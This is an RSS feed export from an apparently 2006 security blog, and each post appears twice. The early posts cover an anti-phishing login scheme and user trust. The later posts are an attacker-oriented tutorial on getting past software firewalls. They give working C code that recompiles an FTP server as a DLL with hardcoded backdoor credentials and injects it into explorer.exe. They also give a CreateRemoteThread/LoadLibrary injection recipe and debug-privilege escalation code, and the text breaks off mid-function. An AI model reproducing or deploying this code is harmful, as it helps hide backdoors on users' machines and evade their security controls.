	&lt;p&gt;Let us consider an analogous situation in real life.  The bank's customer decides she would like to withdraw some cash from her bank.  So she visits the branch, identifies herself with a driving license, provides her account details and is successfully served by the branch.&lt;/p&gt;
	&lt;p&gt;She feels perfectly safe because she knows the bank's branch is genuine and the people working there are to be trusted.&lt;/p&gt;
	&lt;p&gt;The act of "phishing" does not exist when making physical financial transactions by visiting your bank's branch.  Why?  Because the economic cost of setting up a fake branch of a bank, employing fake staff is too high, and the risk of being arrested by the police is also very high.&lt;/p&gt;
	&lt;p&gt;The big problem is that on the internet, the economic cost and risk factors are very low.  Any skilled web developer could setup a fake site in a matter of days.&lt;/p&gt;
	&lt;p&gt;We therefore need a mechanism by which the bank's customer can be assured that the website she is visiting is genuine, and is not being redirected to a phishing site.&lt;/p&gt;
	&lt;p&gt;This mechanism is very simple: two way authentication.  As part of the login process to all internet banks, once the customer has provided &lt;u&gt;part&lt;/u&gt; of their password (e.g. 1st, 3rd and last character), the bank's site will provide the customer with a "fact" about them (e.g. your cat is called Garfield).  If this information is incorrect or is not provided, the customer knows that the internet site is not genuine and can immmediately terminate the login process, thus safeguarding their account information.&lt;/p&gt;
	&lt;p&gt;A detailed example of this login process could be formed using two passwords and a "fact" about the user:&lt;/p&gt;
	&lt;p&gt;1) Bank requests internet banking ID and first password;&lt;br&gt;
2) If first password is correct, bank provide key "fact" to user (e.g. your cat is called garfield).&lt;br&gt;
3) User checks if the "fact" is correct and either leaves the site if it is wrong / missing.  If it is ok, then the user clicks proceed.&lt;br&gt;
4) Bank asks for second password, if correct then authentication is complete.&lt;/p&gt;
	&lt;p&gt;If all financial institutions adopted this login procedure, phishing could be eliminated within the banking sector.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/14/two_way_authentication_to_defeat_phishin~560753/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>Phishing is becoming an increasingly big problem on the net.  For those of you who are not familiar with the term, Wikipedia defines it as:</p>
	<blockquote><p>In computing, phishing is a form of social engineering, characterized by attempts to fraudulently acquire sensitive information, such as passwords and credit card details, by masquerading as a trustworthy person or business in an apparently official electronic communication, such as an email or an instant message.</p></blockquote>
	<p><img src="http://upload.wikimedia.org/wikipedia/en/thumb/d/d0/PhishingTrustedBank.png/280px-PhishingTrustedBank.png" alt="" title=""></p>
	<p>When the end user receives an email that for all purposes appears genuine and appears to originate from a trusted source, the psychological effect is to lower the levels of suspicion the user would normally have, when asked to provide sensitive information.</p>
	<p>There really is very little we can do to stop Phishers from making carbon copies of websites, spoofing email addresses and even buying ssl certificates to make their site appear more genuine.</p>
	<p>The underlying problem here is the way authentication is performed on the internet.  When we are dealing with financial services such as internet banking, we currently have a one-way authentication process - the customer is required to prove to the internet site, that she is the legitimate owner of a bank account.  This authentication is normally performed through providing a password and perhaps a date of birth.</p>
	<p>However, this is really only half the story...</p>
	<p>Let us consider an analogous situation in real life.  The bank's customer decides she would like to withdraw some cash from her bank.  So she visits the branch, identifies herself with a driving license, provides her account details and is successfully served by the branch.</p>
	<p>She feels perfectly safe because she knows the bank's branch is genuine and the people working there are to be trusted.</p>
	<p>The act of "phishing" does not exist when making physical financial transactions by visiting your bank's branch.  Why?  Because the economic cost of setting up a fake branch of a bank, employing fake staff is too high, and the risk of being arrested by the police is also very high.</p>
	<p>The big problem is that on the internet, the economic cost and risk factors are very low.  Any skilled web developer could setup a fake site in a matter of days.</p>
	<p>We therefore need a mechanism by which the bank's customer can be assured that the website she is visiting is genuine, and is not being redirected to a phishing site.</p>
	<p>This mechanism is very simple: two way authentication.  As part of the login process to all internet banks, once the customer has provided <u>part</u> of their password (e.g. 1st, 3rd and last character), the bank's site will provide the customer with a "fact" about them (e.g. your cat is called Garfield).  If this information is incorrect or is not provided, the customer knows that the internet site is not genuine and can immmediately terminate the login process, thus safeguarding their account information.</p>
	<p>A detailed example of this login process could be formed using two passwords and a "fact" about the user:</p>
	<p>1) Bank requests internet banking ID and first password;<br>
2) If first password is correct, bank provide key "fact" to user (e.g. your cat is called garfield).<br>
3) User checks if the "fact" is correct and either leaves the site if it is wrong / missing.  If it is ok, then the user clicks proceed.<br>
4) Bank asks for second password, if correct then authentication is complete.</p>
	<p>If all financial institutions adopted this login procedure, phishing could be eliminated within the banking sector.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/14/two_way_authentication_to_defeat_phishin~560753/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/12/trust~555670/"><default:title>Trust</default:title><default:link>http://tibbar.blog.co.uk/2006/02/12/trust~555670/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-12T01:43:14+01:00</dc:date><default:description>	&lt;p&gt;What can we trust as a user?  One of the biggest problems in security is that the user seems to place a lower threshold on computing trust than they would in everyday life.&lt;/p&gt;
	&lt;p&gt;For example, who would you trust to look after your wallet?  A few close friends, relatives, banks and officials (perhaps a policeman).&lt;/p&gt;
	&lt;p&gt;Would you trust someone you just met, or a stranger walking along the street?  Certainly not!&lt;/p&gt;
	&lt;p&gt;What about your door keys?  Would you give these to a stranger to look after?&lt;/p&gt;
	&lt;p&gt;What about something less valuable?  Say a bag containing some shopping or even just your coat or umbrella?&lt;/p&gt;
	&lt;p&gt;My point here, is we are normally very suspicious about people we do not know and will not trust them to look after our possessions.&lt;/p&gt;
	&lt;p&gt;Ok, now what about computing.  Will you open an attachment from an unknown source?  Usually not, unless it looks interesting enough (e.g. Britney Spears naked).&lt;/p&gt;
	&lt;p&gt;Will you visit a website purely based on a link given to you in an email?  Probably, if it looks interesting.&lt;/p&gt;
	&lt;p&gt;Will you click yes to the dialog that tells you to install an ActiveX control to view the webpage?  Again, you might if the website was interesting to you (more Britney...)&lt;/p&gt;
	&lt;p&gt;But in all these computing examples, you are dealing with someone you do not know and therefore cannot trust.  It's ok if the 3rd party is someone reputable, like Microsoft etc.  But to actually visit the website of an unsolicited email is potentially risky - an analogy might be to walk down a dark alleyway if a stranger says they have a nice surprise for you there - who knows if you will be mugged!&lt;/p&gt;
	&lt;p&gt;Most security breaches occur due to the user not using the same levels of trust in a computing environment to that they apply in their day to day lives.&lt;/p&gt;
	&lt;p&gt;Next time your firewall tells you explorer.exe needs to access port blah blah, actually take the time to read the message and make a thoughtful decision as to whether this is ok.  If this message has not occured before, then be suspicious.&lt;/p&gt;
	&lt;p&gt;If you use your computer for internet banking, then treat it with the same level of care that you give to your wallet.  Your banking login details are worth much more than your wallet - typically you keep much more money in your account!!!&lt;/p&gt;
	&lt;p&gt;A sad reality is that even if you have used a virus scanner on a executable file, provided by an untrusted party, you cannot be confident it is safe to run.  The fact is that virus scanners only detect known viruses, and it takes very little effort to disguise a known virus to be undetected to the scanners - this is why we suffer the problems of "botnets" inflicting massive financial damage through distributed denial of service attacks (DDOS).  Executables should only be trusted if you have purchased them from a trustworthy company, received them from someone you can explicitly trust with computing or you have examined the binary through a disassembler.&lt;/p&gt;
	&lt;p&gt;The anti-virus companies are not doing their job properly at the moment, and the world is suffering an increased level of DDOS and spamming as a result.&lt;/p&gt;
	&lt;p&gt;I will be explaining what the deficiancies of virus scanners are in my next few blogs and will demonstrate how they are being defeated by hackers.&lt;/p&gt;
	&lt;p&gt;Right now, it's time for bed.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/12/trust~555670/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>What can we trust as a user?  One of the biggest problems in security is that the user seems to place a lower threshold on computing trust than they would in everyday life.</p>
	<p>For example, who would you trust to look after your wallet?  A few close friends, relatives, banks and officials (perhaps a policeman).</p>
	<p>Would you trust someone you just met, or a stranger walking along the street?  Certainly not!</p>
	<p>What about your door keys?  Would you give these to a stranger to look after?</p>
	<p>What about something less valuable?  Say a bag containing some shopping or even just your coat or umbrella?</p>
	<p>My point here, is we are normally very suspicious about people we do not know and will not trust them to look after our possessions.</p>
	<p>Ok, now what about computing.  Will you open an attachment from an unknown source?  Usually not, unless it looks interesting enough (e.g. Britney Spears naked).</p>
	<p>Will you visit a website purely based on a link given to you in an email?  Probably, if it looks interesting.</p>
	<p>Will you click yes to the dialog that tells you to install an ActiveX control to view the webpage?  Again, you might if the website was interesting to you (more Britney...)</p>
	<p>But in all these computing examples, you are dealing with someone you do not know and therefore cannot trust.  It's ok if the 3rd party is someone reputable, like Microsoft etc.  But to actually visit the website of an unsolicited email is potentially risky - an analogy might be to walk down a dark alleyway if a stranger says they have a nice surprise for you there - who knows if you will be mugged!</p>
	<p>Most security breaches occur due to the user not using the same levels of trust in a computing environment to that they apply in their day to day lives.</p>
	<p>Next time your firewall tells you explorer.exe needs to access port blah blah, actually take the time to read the message and make a thoughtful decision as to whether this is ok.  If this message has not occured before, then be suspicious.</p>
	<p>If you use your computer for internet banking, then treat it with the same level of care that you give to your wallet.  Your banking login details are worth much more than your wallet - typically you keep much more money in your account!!!</p>
	<p>A sad reality is that even if you have used a virus scanner on a executable file, provided by an untrusted party, you cannot be confident it is safe to run.  The fact is that virus scanners only detect known viruses, and it takes very little effort to disguise a known virus to be undetected to the scanners - this is why we suffer the problems of "botnets" inflicting massive financial damage through distributed denial of service attacks (DDOS).  Executables should only be trusted if you have purchased them from a trustworthy company, received them from someone you can explicitly trust with computing or you have examined the binary through a disassembler.</p>
	<p>The anti-virus companies are not doing their job properly at the moment, and the world is suffering an increased level of DDOS and spamming as a result.</p>
	<p>I will be explaining what the deficiancies of virus scanners are in my next few blogs and will demonstrate how they are being defeated by hackers.</p>
	<p>Right now, it's time for bed.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/12/trust~555670/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/11/modifying_exe_s_to_dll_s_for_firewall_by~553830/"><default:title>Modifying exe's to dll's for firewall bypass</default:title><default:link>http://tibbar.blog.co.uk/2006/02/11/modifying_exe_s_to_dll_s_for_firewall_by~553830/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-11T09:28:33+01:00</dc:date><default:description>	&lt;p&gt;well, as it's a cloudy sat morning, i might as well do the next installment in this little series on firewall bypass.&lt;/p&gt;
	&lt;p&gt;let's review what we now know.&lt;/p&gt;
	&lt;p&gt;We have a exe like explorer.exe which the end user trusts explicitly.  If the software firewall tells Mr X that explorer.exe needs to access the internet, the user is unlikely to disagree.&lt;/p&gt;
	&lt;p&gt;The malicious hacker has a special program called injector.exe that will use the api CreateRemoteThread to force explorer.exe to run the command:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;LoadLibrary("c:&lt;em&gt;windows&lt;/em&gt;system32\\nasty.dll")&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;and this will cause explorer.exe to load nasty.dll into it's own memory space and then execute the entry point function DllMain (residing in nasty.dll) passing the parameter DLL_PROCESS_ATTACH to dllmain.&lt;/p&gt;
	&lt;p&gt;Ok, all good so far, but what use is this to the hacker, if all her backdoors are currently .exe's?&lt;/p&gt;
	&lt;p&gt;She needs a method of rewriting the backdoor or app as a dll.  It turns out this is very simple too...&lt;/p&gt;
	&lt;p&gt;To understand what needs to be done, we first must understand how DllMain and Main differ...&lt;/p&gt;
	&lt;p&gt;Here's the prototype for a typical Main:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;int main( int argc[ , char *argv[ ]&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;(sometimes main will not have any parameters)&lt;/p&gt;
	&lt;p&gt;and here is DllMain:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;BOOL WINAPI DllMain(&lt;br&gt;
  HINSTANCE hinstDLL,&lt;br&gt;
  DWORD fdwReason,&lt;br&gt;
  LPVOID lpvReserved&lt;br&gt;
);&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;they are quite different and this will cause a slight problem for us.  Let's look more closely at DllMain... the only relevant parameter is fdwReason.  This specifies why the DllMain is being called.  It might be as a response to LoadLibrary == DLL_PROCESS_ATTACH or it could be a response to FreeLibrary == DLL_PROCESS_DETACH.  We are only interested in the case DLL_PROCESS_ATTACH.&lt;/p&gt;
	&lt;p&gt;So how do we proceed...  One idea might be to take the source code to an application we want to inject, and change the entry point of the app to DllMain, change the compiler options to compile as a dll and then create our own DllMain that will call the normal main function.&lt;/p&gt;
	&lt;p&gt;So let's look at a simple app, e.g. the open source ftpd "Indiftpd".  This is available for download here:&lt;/p&gt;
	&lt;p&gt;&lt;a href="http://sourceforge.net/projects/indiftpd/"&gt;http://sourceforge.net/projects/indiftpd/&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;To use indiftpd you normally specify some commandline arguments, e.g.&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;indiftpd.exe -p1337 -r5000-5010 -Uhax0r -Ppwnedus3r&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;this will start indiftpd on port 1337 with data port range 5000-5010.&lt;/p&gt;
	&lt;p&gt;So our very basic idea might be this:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;BOOL WINAPI DllMain(&lt;br&gt;
  HINSTANCE hinstDLL,&lt;br&gt;
  DWORD fdwReason,&lt;br&gt;
  LPVOID lpvReserved)&lt;br&gt;
{&lt;/p&gt;
	&lt;p&gt;	if(fdwReason == DLL_PROCESS_ATTACH)&lt;br&gt;
	{&lt;br&gt;
	    char param0[256] = "indiftpd.exe";&lt;br&gt;
	    char param1[256] = "-p1337";&lt;br&gt;
	    char param2[256] = "-r5000-5010";&lt;br&gt;
	    char param3[256] = "-Uhax0r";&lt;br&gt;
	    char param4[256] = "Ppwnedus3r";&lt;br&gt;
	    char* argvarray[4];&lt;br&gt;
	    argvarray[0] = param0;&lt;br&gt;
	    argvarray[1] = param1;&lt;br&gt;
	    argvarray[2] = param2;&lt;br&gt;
	    argvarray[3] = param3;&lt;br&gt;
	    argvarray[4] = param4;&lt;br&gt;
	    main(5, argvarray);&lt;/p&gt;
	&lt;p&gt;	}&lt;/p&gt;
	&lt;p&gt;	if(fdwReason == DLL_PROCESS_DETACH)&lt;br&gt;
	{&lt;/p&gt;
	&lt;p&gt;	}&lt;br&gt;
	return TRUE;&lt;/p&gt;
	&lt;p&gt;}&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;So let's try this.  We recompile indiftpd as a dll and set entry point to DllMain.  We then use the injector app (see last blog entry), to inject this into iexplore.exe (for testing).  What happens??&lt;/p&gt;
	&lt;p&gt;Well, I can indeed connect to the ftpd on port 1337.  But!!! iexplorer is hanging, totally non responsive.  What has gone wrong?&lt;/p&gt;
	&lt;p&gt;Quite simply, we called main which worked fine.  BUT indiftpd will not return from main, as it's an ftp server, unless it is told to quit, it will loop inside main forever.  This means iexplorer has got stuck inside the main loop and never can do anything else...&lt;/p&gt;
	&lt;p&gt;Not quite what we wanted, so we need to be more inventive.&lt;/p&gt;
	&lt;p&gt;What we need is for indiftpd to run on a seperate thread, leaving iexplorer to work as normal.&lt;/p&gt;
	&lt;p&gt;Let's try again, using the api CreateThread to setup a new thread for indiftpd, and this way we can ensure DllMain returns immediately, leaving iexplorer to do it's normal jobs...&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;// dllmain.cpp&lt;br&gt;
// Tibbar - conversion of indiftpd to dll for injection...&lt;/p&gt;
	&lt;p&gt;#include "windows.h"&lt;/p&gt;
	&lt;p&gt;extern int main(int argc, char **argv);&lt;/p&gt;
	&lt;p&gt;static DWORD WINAPI StartThreadProc(&lt;br&gt;
  LPVOID lpParameter)&lt;br&gt;
{&lt;br&gt;
	// indiftpd.exe -p2121 -r5000-5010 -Utibbar -Pletmein&lt;br&gt;
	char param0[256] = "indiftpd.exe";&lt;br&gt;
	char param1[256] = "-p1337";&lt;br&gt;
	char param2[256] = "-r5000-5010";&lt;br&gt;
	char param3[256] = "-Uhax0r";&lt;br&gt;
	char param4[256] = "Ppwnedus3r";&lt;br&gt;
	char* argvarray[4];&lt;br&gt;
	argvarray[0] = param0;&lt;br&gt;
	argvarray[1] = param1;&lt;br&gt;
	argvarray[2] = param2;&lt;br&gt;
	argvarray[3] = param3;&lt;br&gt;
	argvarray[4] = param4;&lt;br&gt;
	main(5, argvarray);&lt;br&gt;
	return 0;&lt;/p&gt;
	&lt;p&gt;}&lt;/p&gt;
	&lt;p&gt;BOOL WINAPI DllMain(&lt;br&gt;
  HINSTANCE hinstDLL,&lt;br&gt;
  DWORD fdwReason,&lt;br&gt;
  LPVOID lpvReserved)&lt;br&gt;
{&lt;/p&gt;
	&lt;p&gt;	if(fdwReason == DLL_PROCESS_ATTACH)&lt;br&gt;
	{&lt;br&gt;
		unsigned long id;&lt;/p&gt;
	&lt;p&gt;		HANDLE hThread = CreateThread(NULL, 0, StartThreadProc, NULL, 0, &amp;id);&lt;/p&gt;
	&lt;p&gt;	}&lt;/p&gt;
	&lt;p&gt;	if(fdwReason == DLL_PROCESS_DETACH)&lt;br&gt;
	{&lt;/p&gt;
	&lt;p&gt;	}&lt;br&gt;
	return TRUE;&lt;/p&gt;
	&lt;p&gt;}
&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;We can test this using the injector app and behold, we find iexplorer.exe doesn't hang and the ftpd is working perfectly!&lt;/p&gt;
	&lt;p&gt;So the hacker can now inject a full ftp server into any system process (e.g. explorer.exe), and the end user's software firewall will simply ask the user is explorer.exe is allowed to access the internet etc.&lt;/p&gt;
	&lt;p&gt;For the average user this will be an immediate yes, since they have complete trust in explorer.exe.&lt;/p&gt;
	&lt;p&gt;Of course, firewall companies have got wise to this trick.  The better firewalls hook CreateRemoteThread to catch this type of activity, but there are ways around this - see rootkit.com for methods of achieving CreateRemoteThread without using this api command.&lt;/p&gt;
	&lt;p&gt;Also, the windows firewall is oblivious to this trick.&lt;/p&gt;
	&lt;p&gt;Hope you are enjoying this little series.  I have now installed google adsense to pay for the monthly blog hosting.&lt;/p&gt;
	&lt;p&gt;Tibbar.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/11/modifying_exe_s_to_dll_s_for_firewall_by~553830/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>well, as it's a cloudy sat morning, i might as well do the next installment in this little series on firewall bypass.</p>
	<p>let's review what we now know.</p>
	<p>We have a exe like explorer.exe which the end user trusts explicitly.  If the software firewall tells Mr X that explorer.exe needs to access the internet, the user is unlikely to disagree.</p>
	<p>The malicious hacker has a special program called injector.exe that will use the api CreateRemoteThread to force explorer.exe to run the command:</p>
	<blockquote><p>LoadLibrary("c:<em>windows</em>system32\\nasty.dll")</p></blockquote>
	<p>and this will cause explorer.exe to load nasty.dll into it's own memory space and then execute the entry point function DllMain (residing in nasty.dll) passing the parameter DLL_PROCESS_ATTACH to dllmain.</p>
	<p>Ok, all good so far, but what use is this to the hacker, if all her backdoors are currently .exe's?</p>
	<p>She needs a method of rewriting the backdoor or app as a dll.  It turns out this is very simple too...</p>
	<p>To understand what needs to be done, we first must understand how DllMain and Main differ...</p>
	<p>Here's the prototype for a typical Main:</p>
	<blockquote><p>int main( int argc[ , char *argv[ ]</p></blockquote>
	<p>(sometimes main will not have any parameters)</p>
	<p>and here is DllMain:</p>
	<blockquote><p>BOOL WINAPI DllMain(<br>
  HINSTANCE hinstDLL,<br>
  DWORD fdwReason,<br>
  LPVOID lpvReserved<br>
);</p></blockquote>
	<p>they are quite different and this will cause a slight problem for us.  Let's look more closely at DllMain... the only relevant parameter is fdwReason.  This specifies why the DllMain is being called.  It might be as a response to LoadLibrary == DLL_PROCESS_ATTACH or it could be a response to FreeLibrary == DLL_PROCESS_DETACH.  We are only interested in the case DLL_PROCESS_ATTACH.</p>
	<p>So how do we proceed...  One idea might be to take the source code to an application we want to inject, and change the entry point of the app to DllMain, change the compiler options to compile as a dll and then create our own DllMain that will call the normal main function.</p>
	<p>So let's look at a simple app, e.g. the open source ftpd "Indiftpd".  This is available for download here:</p>
	<p><a href="http://sourceforge.net/projects/indiftpd/">http://sourceforge.net/projects/indiftpd/</a></p>
	<p>To use indiftpd you normally specify some commandline arguments, e.g.</p>
	<blockquote><p>indiftpd.exe -p1337 -r5000-5010 -Uhax0r -Ppwnedus3r</p></blockquote>
	<p>this will start indiftpd on port 1337 with data port range 5000-5010.</p>
	<p>So our very basic idea might be this:</p>
	<blockquote><p>BOOL WINAPI DllMain(<br>
  HINSTANCE hinstDLL,<br>
  DWORD fdwReason,<br>
  LPVOID lpvReserved)<br>
{</p>
	<p>	if(fdwReason == DLL_PROCESS_ATTACH)<br>
	{<br>
	    char param0[256] = "indiftpd.exe";<br>
	    char param1[256] = "-p1337";<br>
	    char param2[256] = "-r5000-5010";<br>
	    char param3[256] = "-Uhax0r";<br>
	    char param4[256] = "Ppwnedus3r";<br>
	    char* argvarray[4];<br>
	    argvarray[0] = param0;<br>
	    argvarray[1] = param1;<br>
	    argvarray[2] = param2;<br>
	    argvarray[3] = param3;<br>
	    argvarray[4] = param4;<br>
	    main(5, argvarray);</p>
	<p>	}</p>
	<p>	if(fdwReason == DLL_PROCESS_DETACH)<br>
	{</p>
	<p>	}<br>
	return TRUE;</p>
	<p>}</p></blockquote>
	<p>So let's try this.  We recompile indiftpd as a dll and set entry point to DllMain.  We then use the injector app (see last blog entry), to inject this into iexplore.exe (for testing).  What happens??</p>
	<p>Well, I can indeed connect to the ftpd on port 1337.  But!!! iexplorer is hanging, totally non responsive.  What has gone wrong?</p>
	<p>Quite simply, we called main which worked fine.  BUT indiftpd will not return from main, as it's an ftp server, unless it is told to quit, it will loop inside main forever.  This means iexplorer has got stuck inside the main loop and never can do anything else...</p>
	<p>Not quite what we wanted, so we need to be more inventive.</p>
	<p>What we need is for indiftpd to run on a seperate thread, leaving iexplorer to work as normal.</p>
	<p>Let's try again, using the api CreateThread to setup a new thread for indiftpd, and this way we can ensure DllMain returns immediately, leaving iexplorer to do it's normal jobs...</p>
	<blockquote><p>// dllmain.cpp<br>
// Tibbar - conversion of indiftpd to dll for injection...</p>
	<p>#include "windows.h"</p>
	<p>extern int main(int argc, char **argv);</p>
	<p>static DWORD WINAPI StartThreadProc(<br>
  LPVOID lpParameter)<br>
{<br>
	// indiftpd.exe -p2121 -r5000-5010 -Utibbar -Pletmein<br>
	char param0[256] = "indiftpd.exe";<br>
	char param1[256] = "-p1337";<br>
	char param2[256] = "-r5000-5010";<br>
	char param3[256] = "-Uhax0r";<br>
	char param4[256] = "Ppwnedus3r";<br>
	char* argvarray[4];<br>
	argvarray[0] = param0;<br>
	argvarray[1] = param1;<br>
	argvarray[2] = param2;<br>
	argvarray[3] = param3;<br>
	argvarray[4] = param4;<br>
	main(5, argvarray);<br>
	return 0;</p>
	<p>}</p>
	<p>BOOL WINAPI DllMain(<br>
  HINSTANCE hinstDLL,<br>
  DWORD fdwReason,<br>
  LPVOID lpvReserved)<br>
{</p>
	<p>	if(fdwReason == DLL_PROCESS_ATTACH)<br>
	{<br>
		unsigned long id;</p>
	<p>		HANDLE hThread = CreateThread(NULL, 0, StartThreadProc, NULL, 0, &id);</p>
	<p>	}</p>
	<p>	if(fdwReason == DLL_PROCESS_DETACH)<br>
	{</p>
	<p>	}<br>
	return TRUE;</p>
	<p>}
</p></blockquote>
	<p>We can test this using the injector app and behold, we find iexplorer.exe doesn't hang and the ftpd is working perfectly!</p>
	<p>So the hacker can now inject a full ftp server into any system process (e.g. explorer.exe), and the end user's software firewall will simply ask the user is explorer.exe is allowed to access the internet etc.</p>
	<p>For the average user this will be an immediate yes, since they have complete trust in explorer.exe.</p>
	<p>Of course, firewall companies have got wise to this trick.  The better firewalls hook CreateRemoteThread to catch this type of activity, but there are ways around this - see rootkit.com for methods of achieving CreateRemoteThread without using this api command.</p>
	<p>Also, the windows firewall is oblivious to this trick.</p>
	<p>Hope you are enjoying this little series.  I have now installed google adsense to pay for the monthly blog hosting.</p>
	<p>Tibbar.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/11/modifying_exe_s_to_dll_s_for_firewall_by~553830/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/10/bypassing_software_firewalls~553208/"><default:title>Bypassing software firewalls</default:title><default:link>http://tibbar.blog.co.uk/2006/02/10/bypassing_software_firewalls~553208/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-10T22:47:33+01:00</dc:date><default:description>	&lt;p&gt;ok, as promised I will now explain a bit more about how CreateRemoteThread can be used to bypass software firewalls.&lt;/p&gt;
	&lt;p&gt;MSDN gives the following prototype for the function:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;HANDLE CreateRemoteThread(&lt;br&gt;
  HANDLE hProcess,&lt;br&gt;
  LPSECURITY_ATTRIBUTES lpThreadAttributes,&lt;br&gt;
  SIZE_T dwStackSize,&lt;br&gt;
  LPTHREAD_START_ROUTINE lpStartAddress,&lt;br&gt;
  LPVOID lpParameter,&lt;br&gt;
  DWORD dwCreationFlags,&lt;br&gt;
  LPDWORD lpThreadId&lt;br&gt;
);
&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;The key parameters here are hProcess - this will be a handle to the process we wish to inject into; lpStartAddress - this is an address to a routine that will be executed in the newly created thread,  and lpParameter - this will be a parameter to pass to the thread function.&lt;/p&gt;
	&lt;p&gt;We will use a sneaky trick that will allow us to load an entire dll into the target process using this api...&lt;/p&gt;
	&lt;p&gt;The lpStartAddress function pointer has the type:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;DWORD WINAPI ThreadProc(&lt;br&gt;
  LPVOID lpParameter&lt;br&gt;
);&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;This means the function must have a single parameter.  By some chance, the following winapi used to load dll's into a process' memory space also takes a single parameter:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;HINSTANCE LoadLibrary(&lt;br&gt;
  LPCTSTR lpLibFileName&lt;br&gt;
);&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;Also by some fortune, we are guaranteed that the function LoadLibrary exists in the target process' memory space, since all processes in windows load kernel32.dll upon initialisation - and even better than this, it will live at exactly the same memory location for all processes...&lt;/p&gt;
	&lt;p&gt;This leads us to the following strategy:&lt;/p&gt;
	&lt;p&gt;1) Use the api VirtualAllocEx and WriteProcessMemory to allocate memory in the target process and write the path name of a dll we wish to inject into the target process (e.g. c:\windows\evil.dll);&lt;/p&gt;
	&lt;p&gt;2) Get a pointer to LoadLibraryA (the "A" means we use the ANSI version, not UNICODE);&lt;/p&gt;
	&lt;p&gt;3) Use the api CreateRemoteThread to start a new thread that calls LoadLibraryA with a pointer to the dll path.&lt;/p&gt;
	&lt;p&gt;Our final point of good fortune is that LoadLibrary will call the function DllMain from our injected dll, once it has been loaded into the target process.&lt;/p&gt;
	&lt;p&gt;This means that the dll can run as a normal executable once inside the target process and is in no way limited in it functionality.&lt;/p&gt;
	&lt;p&gt;All sounds too easy?  There is one other minor issue, to use CreateRemoteThread against system processes (e.g. explorer.exe), you need to have a special security priviledge known as "debug privs".  Fortunetely we can gain these using another special api "AdjustTokenPrivileges".  I won't go into the details of how this works, but the code below should explain this.&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;BOOL AdjustTokenToDebug()&lt;br&gt;
{&lt;br&gt;
	// find the LUID of debug privilege token&lt;br&gt;
	LUID tLUID;&lt;br&gt;
	BOOL diditwork=LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&amp;tLUID);&lt;br&gt;
	if(diditwork!=0)&lt;br&gt;
	{&lt;br&gt;
		HANDLE hProcess=GetCurrentProcess();&lt;br&gt;
		if(hProcess!=0)&lt;br&gt;
		{&lt;br&gt;
			// Open the token for adjusting and querying&lt;br&gt;
            // (if we can - user may not have rights):&lt;br&gt;
		    HANDLE hToken;//=new HANDLE;&lt;br&gt;
			diditwork=OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&amp;hToken);&lt;br&gt;
			//DWORD x=GetLastError();&lt;br&gt;
			if(diditwork!=0)&lt;br&gt;
			{&lt;br&gt;
				// time to adjust debug privs&lt;br&gt;
				TOKEN_PRIVILEGES tTP;&lt;br&gt;
				TOKEN_PRIVILEGES tTPOld;&lt;br&gt;
				tTP.PrivilegeCount=1;&lt;br&gt;
				tTP.Privileges-&gt;Attributes=SE_PRIVILEGE_ENABLED;&lt;br&gt;
				tTP.Privileges-&gt;Luid.HighPart=tLUID.HighPart;&lt;br&gt;
